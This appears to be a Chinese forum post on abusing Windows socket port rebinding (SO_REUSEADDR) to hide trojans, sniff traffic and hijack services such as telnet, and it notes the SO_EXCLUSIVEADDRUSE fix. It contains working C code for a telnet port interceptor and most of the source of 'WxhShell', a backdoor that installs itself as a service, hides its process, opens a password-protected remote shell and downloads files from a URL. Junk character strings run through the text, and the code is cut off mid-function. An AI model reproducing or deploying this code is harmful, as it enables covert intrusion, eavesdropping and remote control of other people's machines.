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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !nlr!+(fV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {FS)f  
PN:`SWP  
  saddr.sin_family = AF_INET; .k +>T*c{  
r adP%W-U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UBk:B  
c;06>1=wP5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OK YbEn#  
%d%?\jVb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aAG']y  
k GYsjhL\d  
  这意味着什么?意味着可以进行如下的攻击: lnm@DWhf  
nwC*w`4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J@}PySq  
^ meU&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 96J]g*o(uU  
B692Mn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y` '#gH  
lyyf&?2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \7pEn  
^:}C,lIrG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y6x./1Nb}<  
FK94CI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `!(%R k  
aw~h03R_Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *::.Uo4O  
,v#n\LD`  
  #include dUl"w`3  
  #include kqxq'Aq)d  
  #include @^  *62  
  #include    X%kJ3{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #g0N/  
  int main() c~;VvYu  
  { noEl+5uY  
  WORD wVersionRequested; _\Z'Yl  
  DWORD ret; SJc~E$5<  
  WSADATA wsaData; !H{>c@i  
  BOOL val; mH4u@aQ}  
  SOCKADDR_IN saddr; HavlN}h  
  SOCKADDR_IN scaddr; q-uzu!  
  int err; PAtv#)h  
  SOCKET s; 9F?-zn;2s  
  SOCKET sc; :@ VCKq!  
  int caddsize; ,S(s  
  HANDLE mt; 5MD'AP:  
  DWORD tid;   (E&M[hH+  
  wVersionRequested = MAKEWORD( 2, 2 ); ZbjUOlE02  
  err = WSAStartup( wVersionRequested, &wsaData ); D .LR-Z  
  if ( err != 0 ) { ?%Tx% dB  
  printf("error!WSAStartup failed!\n"); MPy>< J  
  return -1; `Syfl^9B  
  } 4z26a  
  saddr.sin_family = AF_INET; a?8)47)  
   v+`'%E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R5(([C1  
vyB{35p$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (v|<" tv  
  saddr.sin_port = htons(23); \_6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 75R#gQ]EV  
  { !MOsP<2  
  printf("error!socket failed!\n"); zUZET'Bm9  
  return -1; Xw<;)m  
  } &=$f\O1Ty  
  val = TRUE; Dj'?12Onu=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A9u>bWIE7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m)"(S  
  { @G=7A;-pv0  
  printf("error!setsockopt failed!\n"); kR^h@@'F"  
  return -1; -C}"1|P!  
  } ?A_+G 5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JX[]u<h?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (xVx|:R[<H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <eS/-W %n6  
wVnmT94  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T]tu#h{ a  
  { JMo r[*  
  ret=GetLastError(); (w5cp!qW9J  
  printf("error!bind failed!\n"); %N&W_.F6  
  return -1; ?wCX:? g  
  } F ]Zg  
  listen(s,2); y Rl   
  while(1) 6 R})KIG  
  { U`HY eJ  
  caddsize = sizeof(scaddr); |9IOZ>H9  
  //接受连接请求 l&e$:=;8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3oH/34jj  
  if(sc!=INVALID_SOCKET) q*` m%3{  
  { qQG? k~r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~u2f`67{  
  if(mt==NULL) n*na6rV\k  
  { fDfph7[)  
  printf("Thread Creat Failed!\n"); a`#lYM%(>  
  break; ~9vK 6;0  
  } ujmIS~"  
  } j|K;Yi  
  CloseHandle(mt); r<!nU&FPD:  
  } a|oh Ad  
  closesocket(s); j 4=iHnE;  
  WSACleanup(); `67i1w`  
  return 0; {z0iWY2Xw  
  }   ]H}2|~c  
  DWORD WINAPI ClientThread(LPVOID lpParam) aGi`(|shW  
  { |m"Gr)Gm  
  SOCKET ss = (SOCKET)lpParam; j3/6hE>  
  SOCKET sc; x4L3Z__  
  unsigned char buf[4096]; q{f\_2[  
  SOCKADDR_IN saddr; RJerx:]  
  long num; hCr,6ncC  
  DWORD val; PQSmBTs.  
  DWORD ret; KA?%1s(kJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sCrP+K0D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OW\vbWX  
  saddr.sin_family = AF_INET; 87+fd_G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =mZYBm,IQ  
  saddr.sin_port = htons(23); Y:,C_^$w;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #Pf<2S  
  { <4vCx  
  printf("error!socket failed!\n"); JJ_ Z{  
  return -1; ~S;-sxoO0l  
  } Q>Z~={"  
  val = 100; g H'hA'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j7gTVfO  
  { >A-{/"p#  
  ret = GetLastError(); un-%p#  
  return -1; H{=G\N{  
  } EC[]L'IL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :adz~L$  
  { OQKg/1  
  ret = GetLastError(); 5  >0\=  
  return -1; KRT&]2  
  } fd>{ UyU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -k8sR1(  
  { NiW9/(;xB  
  printf("error!socket connect failed!\n"); (&/4wI^M  
  closesocket(sc); l9a81NF{s  
  closesocket(ss); 4aBVO%t  
  return -1; ppvlU H5;  
  } !8[A;+o3P  
  while(1) q@[F|EF=  
  { *9kg \#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -wV2 79^b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ov,s]g83  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h`N2M,  
  num = recv(ss,buf,4096,0); xi "3NF%=  
  if(num>0) z|%Pi J ,  
  send(sc,buf,num,0); X5[t6q!  
  else if(num==0) \ Voly  
  break; 0q-lyVZ^X  
  num = recv(sc,buf,4096,0); 7>O`UT<t4@  
  if(num>0) 8uLS7\,$z  
  send(ss,buf,num,0); o)@nnqa  
  else if(num==0) kG!hqj  
  break; 8_HBcZWs  
  } Nr2,m"R{  
  closesocket(ss); F9K0  
  closesocket(sc); (P-^ PNz&  
  return 0 ; 'hBnV xd&  
  } tR'RB@kJ  
M`'DD-Q  
8Z9>h:c1  
========================================================== ez[x8M>  
{._'Q[  
下边附上一个代码,,WXhSHELL _%D7D~2r|  
"%^_.Db>|  
========================================================== [[AO6.Z  
B47I?~{  
#include "stdafx.h" o(Z~J}l({  
cw 2!V@  
#include <stdio.h> 54>0Dv??H  
#include <string.h> O]=jI  
#include <windows.h> 1aRTvaGo  
#include <winsock2.h> W& 0R/y7  
#include <winsvc.h> -sJD:G,%  
#include <urlmon.h> q&v~9~^}d  
E:**gvfq  
#pragma comment (lib, "Ws2_32.lib") 8o%Vn'^t  
#pragma comment (lib, "urlmon.lib") +)q ,4+K%}  
@#,/6s7?  
#define MAX_USER   100 // 最大客户端连接数 c8uw_6#r(D  
#define BUF_SOCK   200 // sock buffer 1[Yl8W%pj  
#define KEY_BUFF   255 // 输入 buffer :g63*d+/G  
67Pmnad  
#define REBOOT     0   // 重启 Lv%t*s2$/  
#define SHUTDOWN   1   // 关机 GyQFR?  
&>+T*-'  
#define DEF_PORT   5000 // 监听端口 Q?>r:vMi  
hui #<2{  
#define REG_LEN     16   // 注册表键长度 n)q8y0if  
#define SVC_LEN     80   // NT服务名长度 >_yL@^  
0/f|ZH ~!  
// 从dll定义API Lr*PbjQDIY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :K2 X~Ty  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k $^/$N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TU~y;:OJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q5e(~@(z<`  
%+j/nA1%S  
// wxhshell配置信息 HLV8_~gQPf  
struct WSCFG { U3:|!CC)T  
  int ws_port;         // 监听端口 PA,aYg0f  
  char ws_passstr[REG_LEN]; // 口令 m-Jy 4f#  
  int ws_autoins;       // 安装标记, 1=yes 0=no +yfUB8Xw  
  char ws_regname[REG_LEN]; // 注册表键名 }WC[ <AqI  
  char ws_svcname[REG_LEN]; // 服务名 qF bj~ec  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cK]n"6N[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >KrI}>!9r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GZrN,M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hfY/)-60o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }?mSMqnB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mq4Zy3H   
@PNgqjd  
}; t`Z3*?UqI  
t.;._'  
// default Wxhshell configuration M]{~T7n-  
struct WSCFG wscfg={DEF_PORT, |Ol29C$@|  
    "xuhuanlingzhe", ^|Fy!kp  
    1, iU 6,B  
    "Wxhshell", &&C70+_po  
    "Wxhshell", _4Eq_w`  
            "WxhShell Service", d9TTAaf  
    "Wrsky Windows CmdShell Service", tUULpx.h  
    "Please Input Your Password: ", hizM}d-"C  
  1, ?y>ji1  
  "http://www.wrsky.com/wxhshell.exe", Q<V1`e  
  "Wxhshell.exe" XTF[4#WO  
    }; RA<ky*^dr  
W>w(|3\  
// 消息定义模块 EL3X8H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tb~E.Lm\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v4|TQ8!wR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $nmt&lm  
char *msg_ws_ext="\n\rExit."; @uRJl$3  
char *msg_ws_end="\n\rQuit."; d5Ae67  
char *msg_ws_boot="\n\rReboot..."; v^o`+~i  
char *msg_ws_poff="\n\rShutdown..."; D^%IFwU^  
char *msg_ws_down="\n\rSave to "; QjSWl,{ $D  
P<&bAsje  
char *msg_ws_err="\n\rErr!"; 1ds4C:M+<  
char *msg_ws_ok="\n\rOK!"; 4pT^ *  
G9okl9;od  
char ExeFile[MAX_PATH]; c;q=$MO`  
int nUser = 0; |33t5}we  
HANDLE handles[MAX_USER]; a~LA&>@  
int OsIsNt; 9;{(.K  
c8mh#T bl  
SERVICE_STATUS       serviceStatus; OV;VsF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |VaJ70\o  
3^ UoK  
// 函数声明 P/ 6$TgQ  
int Install(void); v?]a tb/h`  
int Uninstall(void); ^TZmc{i  
int DownloadFile(char *sURL, SOCKET wsh); hL/u5h%$  
int Boot(int flag); -|}?+W  
void HideProc(void); 9rz$c, Y(  
int GetOsVer(void); UJqh~s  
int Wxhshell(SOCKET wsl); IowXVdm@6  
void TalkWithClient(void *cs); 084Us s  
int CmdShell(SOCKET sock); T<Xw[PEnP  
int StartFromService(void); Yu" Q  
int StartWxhshell(LPSTR lpCmdLine); oCkG  
VV1sadS:S`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ow>u!P!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K5LJx-x*j  
diu"Nt  
// 数据结构和表定义 &':C"_|&r  
SERVICE_TABLE_ENTRY DispatchTable[] = 2C:u)}R7D  
{ r{r~!=u  
{wscfg.ws_svcname, NTServiceMain}, xP>cQELot  
{NULL, NULL} GNM>hQ)h:  
}; zT)cg$8%fY  
HEFgEYlO  
// 自我安装 T8g\_m  
int Install(void) Ot47.z  
{ O6?{@l  
  char svExeFile[MAX_PATH]; IYq#|^)5+  
  HKEY key; R3og]=uFzm  
  strcpy(svExeFile,ExeFile); AC <2.i_  
%.`u2'^  
// 如果是win9x系统,修改注册表设为自启动 a_S`$(7k  
if(!OsIsNt) { /77cjesZ9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S[$9_Jf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _PPC?k{z!  
  RegCloseKey(key); j$_?g!I=gK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^cPVnl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lbt8S.fx  
  RegCloseKey(key); D1-w>Y#  
  return 0; ]s5e[iS  
    } R2~y<^.V`Y  
  } ;0m J4G  
} NX%1L! #  
else { XYP RMa?  
q j21#q .  
// 如果是NT以上系统,安装为系统服务 `. JW_F)1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }a!|n4|`  
if (schSCManager!=0) H?;+C/-K`_  
{ dpS@:  
  SC_HANDLE schService = CreateService x*F- d2D  
  ( Mx, 5  
  schSCManager, /q>ExXsEC  
  wscfg.ws_svcname, bf.+Ewb(  
  wscfg.ws_svcdisp, ,8Q0AkG  
  SERVICE_ALL_ACCESS, QChWy`x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9*FA=E  
  SERVICE_AUTO_START, (@*|[wN  
  SERVICE_ERROR_NORMAL, p<dw  C"z  
  svExeFile, vjGJRk|XED  
  NULL, =/a`X[9vI  
  NULL, 0$`pYW]  
  NULL, d_$0  
  NULL, 6<\dQ+~  
  NULL rMJ@oc  
  ); f2gh|p`  
  if (schService!=0) rz|Sjtq  
  { }*9F`=%F  
  CloseServiceHandle(schService); PtUS7[]  
  CloseServiceHandle(schSCManager); a'Cny((  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t1iz5%`p}  
  strcat(svExeFile,wscfg.ws_svcname); N)H+N g[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uZ_?x~V/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H74'I}  
  RegCloseKey(key); }03?eWk/y  
  return 0; <!G /&T  
    } sdCG}..`  
  } D +0il=5  
  CloseServiceHandle(schSCManager); r,IekFBs  
} 9=iMP~?xF  
} Q`J U[nY  
W?E01"p  
return 1; kb~ s, @p  
} Oz\J+  
@qcUxu4  
// 自我卸载 9(HGe+R4o  
int Uninstall(void) Em Ut/]  
{ ] g9SUFM  
  HKEY key; .yUD\ZGJ u  
R6 ej  
if(!OsIsNt) { 7ZAxhFC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YG*<jKcX  
  RegDeleteValue(key,wscfg.ws_regname); 6v:L8 t$"  
  RegCloseKey(key); * wqR.n?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _G-6G=q  
  RegDeleteValue(key,wscfg.ws_regname); GBg  
  RegCloseKey(key);  Iw?^  
  return 0; +ah4 K(+3  
  } -ys/I,}<  
} #gWok'ZcR  
} R$}Hv  
else { D8w.r"ne  
`xv Uq\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >J;J&]Olf  
if (schSCManager!=0) lws.;abm%n  
{ !}P^O(oY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @/As|)  
  if (schService!=0) 4?(=?0/[  
  { (K6vXq.;\\  
  if(DeleteService(schService)!=0) { *j,noHUT~>  
  CloseServiceHandle(schService); N!?~Dgw  
  CloseServiceHandle(schSCManager); %CQa8<q  
  return 0; gJwX  
  } T<nK/lp1t  
  CloseServiceHandle(schService); NA@Z$Gy  
  } c+Z dfdR  
  CloseServiceHandle(schSCManager); #]i^L;u1A  
} jZ5ac=D&I  
} \Qnr0t@0  
2|exY>`w  
return 1; m|?1HCRXRI  
} h8M}}   
/;q 3Q#  
// 从指定url下载文件 ;H%'K  
int DownloadFile(char *sURL, SOCKET wsh) m>[G-~0?kI  
{ JT6Be8   
  HRESULT hr; Gz\wmH&rVz  
char seps[]= "/"; =Ldf#8J  
char *token; UZiL NKc  
char *file; <uoVGV5N  
char myURL[MAX_PATH]; 0.!vp?  
char myFILE[MAX_PATH];  874j9ky[  
j";L{  
strcpy(myURL,sURL); <Cs9$J  
  token=strtok(myURL,seps); uW}M1kq?+l  
  while(token!=NULL) ):=8w.yC  
  { Gyi0SM6v5&  
    file=token; 2WKIO|'  
  token=strtok(NULL,seps); tQxAZ0B^  
  } FDBNKQV  
Q-s5-&h(  
GetCurrentDirectory(MAX_PATH,myFILE); h>xB"E|.  
strcat(myFILE, "\\"); z:O:g?A  
strcat(myFILE, file); b4KNIP7E  
  send(wsh,myFILE,strlen(myFILE),0); 9ygNJX'~  
send(wsh,"...",3,0); /NPx9cLW^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZW;Re5?DJ  
  if(hr==S_OK) M!VW/vdywL  
return 0; [ryII hQ  
else E'+z.~+  
return 1; xw~oR|`U  
VD,g3B p  
} -yIx:*KI  
n ]l3 )u  
// 系统电源模块 NQ '|M  
int Boot(int flag) }DvT6  
{ :W-xsw  
  HANDLE hToken; $RRh}w\0^  
  TOKEN_PRIVILEGES tkp;  - sq= |  
(S=CxK  
  if(OsIsNt) { ffOV7Dxy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^'sy hI\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gz:US 77  
    tkp.PrivilegeCount = 1; {c $8?6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *m&'6qsS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qvh8~[  
if(flag==REBOOT) { #x6w M~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |D;I>O^"R  
  return 0; :9>U+)%  
} Oeg^%Y   
else { W$D:mw7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZS&+<kGD  
  return 0; .q 4FGPWz  
} (G>g0(;D-  
  } j->5%y  
  else { 2R3)/bz-SV  
if(flag==REBOOT) { -ebyW#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j3?@p5E(  
  return 0; \$,;@H5I^  
} PC,I"l  
else { 1NN#-U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &6\E'bBt  
  return 0; A(C0/|#V  
} y]k{u\2A  
} ,}^;q58  
_4lKd`  
return 1; 1q*=4O  
} @C~gU@F  
+=kz".$  
// win9x进程隐藏模块 2-#&ktM%V  
void HideProc(void) \gir  
{ Jjx1`S*i  
>ISBK[=H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )RT:u)N  
  if ( hKernel != NULL ) l n09_Lr  
  { S; !7 /z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6I5LZ^/G9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M"OCwBT U  
    FreeLibrary(hKernel); %wq;<'W  
  } `4|:8@,3{  
^ -lWv  
return; .k5&C/jv  
} S]c&T`jx  
`y&2Bf  
// 获取操作系统版本 T' )l  
int GetOsVer(void) s%zdP  
{ s<LYSrd  
  OSVERSIONINFO winfo;  (=Lx9-u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 40;4=  
  GetVersionEx(&winfo); <q4 <3A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }K 2fwE  
  return 1; ?*f2P T?`  
  else 5W_Rg:J{P  
  return 0; \q|<\~A  
} {k<mN Y  
/yO0Z1G  
// 客户端句柄模块 H$3:Ra+ S  
int Wxhshell(SOCKET wsl) 7Rr +Uzb(  
{ jxgs!B>   
  SOCKET wsh; ?$H=n{iW  
  struct sockaddr_in client; J}VG4}L  
  DWORD myID; ]n4G]ybK%  
u5P2*  
  while(nUser<MAX_USER) f5t/=/6>F  
{ y>JSo9[@  
  int nSize=sizeof(client); 0 SDyE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ql S #(  
  if(wsh==INVALID_SOCKET) return 1; HUGhz  
h}GzQry1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Up1e4mNL  
if(handles[nUser]==0) H')8p;~{}  
  closesocket(wsh); I^gLiLUN*6  
else 6PRP&|.#  
  nUser++; AUm5$;o,/  
  } &>Nw>V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |#O>DdKHT  
ALp|fZ\vp  
  return 0; zhC5%R &n/  
} SGLU7*sfd  
,D{D QJ(B  
// 关闭 socket J+Zp<Wu-  
void CloseIt(SOCKET wsh) z7O$o/E-*  
{ s>e)\9c  
closesocket(wsh); -pm%F8{T]  
nUser--; >+ku:<Hw%.  
ExitThread(0); ys} I~MK-  
} EpH\;25u  
/baSAoh/e  
// 客户端请求句柄 67P@YL  
void TalkWithClient(void *cs) ~:"//%M3l  
{ 39Tlt~Psz  
9h0Y">}`b  
  SOCKET wsh=(SOCKET)cs; Au{J/G<W@  
  char pwd[SVC_LEN]; c[4I> "w  
  char cmd[KEY_BUFF]; =a_ >")  
char chr[1]; %2`.*]L  
int i,j;  D ~t  
WKONK;U+7  
  while (nUser < MAX_USER) { }Gh95HwE  
O g!SFg*  
if(wscfg.ws_passstr) {  M_f.e!?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N9BfjT}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DYW&6+%,hO  
  //ZeroMemory(pwd,KEY_BUFF); ]R]%c*tA  
      i=0; ?%i~~hfH#N  
  while(i<SVC_LEN) { 1C<@QrT  
'"]U+aIg  
  // 设置超时 (Ujry =f  
  fd_set FdRead; 7) Qq  
  struct timeval TimeOut; Amj'$G|+hj  
  FD_ZERO(&FdRead);  t'e5!Ma  
  FD_SET(wsh,&FdRead); DDp\*6y3l  
  TimeOut.tv_sec=8; t,308Z  
  TimeOut.tv_usec=0; h=MEQ-3jg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); - ~`)V`@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 18G=j@k7  
RfzYoBN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e4Q2$ Q@b  
  pwd=chr[0]; yuq2)  
  if(chr[0]==0xd || chr[0]==0xa) { )PjU=@$lI  
  pwd=0; nm]m!.$d  
  break; Isg\ fSK<j  
  }  ]YKxJ''u  
  i++; FZ=xy[q]~  
    } =nE^zY2m%  
kuW^_BROJ  
  // 如果是非法用户,关闭 socket IOOK[g.?h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T8 >aU  
} rE9Nt9}  
S0!w]Ku  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \JIyJ8FleC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U'0e<IcY  
]q3.^F  
while(1) { ^W ,~   
Q4F&#^02y  
  ZeroMemory(cmd,KEY_BUFF); ugS  
@k||gQqIB  
      // 自动支持客户端 telnet标准   -s9()K(vZG  
  j=0; #,Cz+ k*4  
  while(j<KEY_BUFF) { sTw+.m{F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^_\%?K_u  
  cmd[j]=chr[0]; U*7x81v?j  
  if(chr[0]==0xa || chr[0]==0xd) { |?4NlB6  
  cmd[j]=0; "WzD+<oL  
  break; -nDY3$U/  
  } b>L?0p$ej  
  j++; r&Qq,koE  
    } o4nDjFhh  
:*WiswMFm  
  // 下载文件 w7b\?]}@  
  if(strstr(cmd,"http://")) { HlraOp+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yVgHu#?PM  
  if(DownloadFile(cmd,wsh)) (W+aeB0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kt7x}F(?<  
  else EjP9/V G@=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l9f%?<2D  
  } xt1\Sie  
  else { ^JAp#?N^9  
8QQh1q2  
    switch(cmd[0]) { nt$q< 57  
  !uqp?L^;  
  // 帮助 %'.3t|zH  
  case '?': { zQaD&2 q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -|4 Oq  
    break; R$i-%3  
  } )8;At'q}  
  // 安装 ~9n30j%]s  
  case 'i': { L"}tJM.d  
    if(Install()) H7(D8.y )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zV8{|-2]No  
    else ~{-9qOGw;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U;t1 K  
    break; %BF,;(P  
    } qIvnPaYW  
  // 卸载 [G' +s  
  case 'r': { j%=X ps  
    if(Uninstall()) (h'Bz6K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tb\<e3Te_  
    else 3? F~ H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9N /9  
    break; Ty}Y/jW  
    } @;}vK=6L  
  // 显示 wxhshell 所在路径 H h35cj  
  case 'p': { __}ut+H^5p  
    char svExeFile[MAX_PATH]; l"/E,X  
    strcpy(svExeFile,"\n\r"); m}6Jdt'|  
      strcat(svExeFile,ExeFile); -`UOqjb]3  
        send(wsh,svExeFile,strlen(svExeFile),0); "v/Yw'! )  
    break; P|t2%:_  
    } o+Fm+5t;  
  // 重启 Ako]34Rl,  
  case 'b': { IYv.~IQO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CV)K=Br5&_  
    if(Boot(REBOOT)) a9NIK/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "EwzuM8 f  
    else { 8J:=@X^}  
    closesocket(wsh); % _nmv  
    ExitThread(0); D~n-;T  
    } d .%2QkL  
    break; /  QT>"  
    } P=l 7m*m  
  // 关机 *P8CzF^>\&  
  case 'd': { /}9)ZY Mx  
